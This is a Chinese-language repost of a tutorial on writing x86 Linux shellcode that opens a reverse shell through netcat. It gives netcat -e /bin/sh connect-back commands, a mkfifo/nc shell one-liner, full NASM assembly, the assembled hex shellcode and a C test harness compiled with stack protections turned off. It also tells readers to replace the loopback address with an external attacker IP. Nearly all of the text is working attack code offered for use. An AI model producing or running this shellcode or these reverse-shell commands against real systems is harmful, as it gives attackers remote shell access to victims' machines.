作者:
∑-TEAM
·
2014/04/03 16:23
from:http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/
這篇文章主要是談,在遠端溢位時怎樣構造shellcode,才能形成一個有效的反彈連結。
0x00 反向繫結遠端shell
讓本地主機和遠端shell建立起連線的方法有很多種,其中最常見的是在遠端主機上開放一個埠,然後把它的
stdout/stderr/stdin
重定向到一個shell上。
這樣我們就可以在自己的主機上透過一個簡單的netcat命令來連線它。
但是,大多數情況下這種方法並不能起作用,很多伺服器只對外開放少量的幾個埠,比如,http(s),ftp,smtp等。
其他的資料包都會被防火牆直接丟棄。解決這種問題的方法就是使用反彈連結,反彈連結的意思就是,讓遠端的主機主動連線我們的伺服器。
所以,你需要在自己的機器上開放一個埠,等待著倒黴的受害者自己連線你的主機就可以了。
0x01 netcat -e命令
首先我們假設,目標網站上安裝了netcat。
通常情況下netcat支援e引數,這個引數將會執行後面所跟的程式,並將它跟連結繫結。
如果我們把/bin/sh
透過e引數繫結,並開啟監聽,那當我們使用遠端主機連線到這臺主機時,就相當於獲得了一個shell。讓我們來嘗試一下。
在本地主機執行
#!bash
netcat -lvp 9999
監聽連入的連結。
新開一個shell執行
#!bash
netcat -e /bin/sh 127.0.0.1 9999
這樣,你的第一個shell將建立起一個連結,在其中執行ls whoami
等命令,測試一下它是否可以正常工作,
你也可以使用 Ctrl+c 來關閉這個連結。
注意:openbsd版本的netcat不支援 -e或者-c 引數。
你可以使用以下的語句來替代。
#!bash
rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f
但是它太複雜了,很難在shellcode中執行。
0x02 彙編程式碼
現在我們就來看一下怎樣把這條語句透過彙編執行,並放入shellcode中。
下面是,我們shellcode重要執行的彙編程式碼。(intel語法)
#!bash
jmp short forward
back:
pop esi
xor eax, eax
mov byte [esi + 11], al ; terminate /bin/netcat
mov byte [esi + 14], al ; terminate -e
mov byte [esi + 22], al ; terminate /bin/sh
mov byte [esi + 38], al ; terminate 127.127.127.127
mov byte [esi + 43], al ; terminate 9999
mov long [esi + 44], esi ; address of /bin/netcat in AAAA
lea ebx, [esi + 12] ; get address of -e
mov long [esi + 48], ebx ; store address of -e in BBBB
lea ebx, [esi + 15] ; get address of /bin/sh
mov long [esi + 52], ebx ; store address of /bin/sh in CCCC
lea ebx, [esi + 23] ; get address of 127.127.127.127
mov long [esi + 56], ebx ; store address of 127.127.127.127 in DDDD
lea ebx, [esi + 39] ; get address of 9999
mov long [esi + 60], ebx ; store address of 9999 in EEEE
mov long [esi + 64], eax ; put NULL in FFFF
mov byte al, 0x0b ; pass the execve syscall number as argument
mov ebx, esi
lea ecx, [esi + 44] ; /bin/netcat -e /bin/sh etc etc
lea edx, [esi + 64] ; NULL
int 0x80 ; Run the execve syscall
forward:
call back
db "/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"
其實上面程式碼想做的翻譯成c語言是如下兩行
#!c
char *command[] = {"/bin/netcat", "-e", "/bin/sh", "127.127.127.127", "9999", NULL};
execve(command[0], command, NULL);
命令就是如下的字串
#!bash
/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF
字串中各個部分被#
隔開,是因為在shellcode中不能出現null,這會造成shellcode被截斷,從而不能被
目標主機正確執行。
不管我們在哪裡執行這段程式,首先需要知道的是命令字串的地址。
所以我在第1行和第26行分別建立了兩個標籤(forword和back),使用call命令時(27行),首先會把返回地址入棧,返回地址就是下一條指令的地址,而下一條指令的地址恰巧就是我們的命令字串。
回到第3行,我們把命令字串地址彈出到ESI暫存器,然後將EAX初始化,注意我們不能直接使用
#!bash
mov eax,0
因為null在shellcode中是不允許出現的。最後我們吧,命令字串分開存放到記憶體之中。
在第5行到第9行,我們把暫存器中的0移動到字串的末尾,使用替代#
(取自eax暫存器,其中的0使用xor生成)之後我們需要一個各個字串地址的陣列,作為execve()的第二個引數。
在第十行,我們把 /bin/netcat
的地址放入 AAAA 所在的位置,程式中的11到18行也是在做同樣的事情,最後19行我們把存入到FFFF的位置,作為字串的結尾。
在第20行我們準備執行系統呼叫,我們首先把0xb儲存到eax中,esi(/bin/netcat的地址)儲存到ebx中,字串的地址儲存到,ecx中,最後edx儲存null,之後使用0x80觸發系統呼叫,不出意外的話,一個反彈連結的指令就成功執行了。
這個例子中,ip地址使用的是127.127.127.127 埠號是 9999,這是一個本地的ip地址。通常情況下
你需要使用一個外網IP來替換掉它,如果兩個ip長度不同的話,你要仔細的修改掉所有與他相關聯的彙編程式碼。
0x03 編譯測試shellcode
現在,需要把彙編程式碼儲存到一個asm檔案之中,我們這裡叫做shell.asm,使用以下的語句編譯它,
#!bash
nasm -felf32 -o shell.o shell.asm
使用,objdump -D
命令我們就可以看到這個小程式的opcodes,使用下面一段指令我們就可以把它們
放入到一個C字串中
#!bash
for i in $(objdump -d shell.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
最後我們得到
\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46
最後我們使用一段c程式來驗證這個shell是否可行。
#!c
char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";
int main()
{
int (*ret)() = (int(*)())shellcode;
ret();
}
想要編譯它,需要關閉一些安全編譯選項,然後使用如下命令。
#!bash
gcc shellcode.c -fno-stack-protector -z execstack -o shellcode
在另一個shell中執行netcat -lvp 9999
,然後執行這個c程式./shellcode
如果一切正確的話你就可以得到一個反彈連結的shell了。
happy hacking!
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!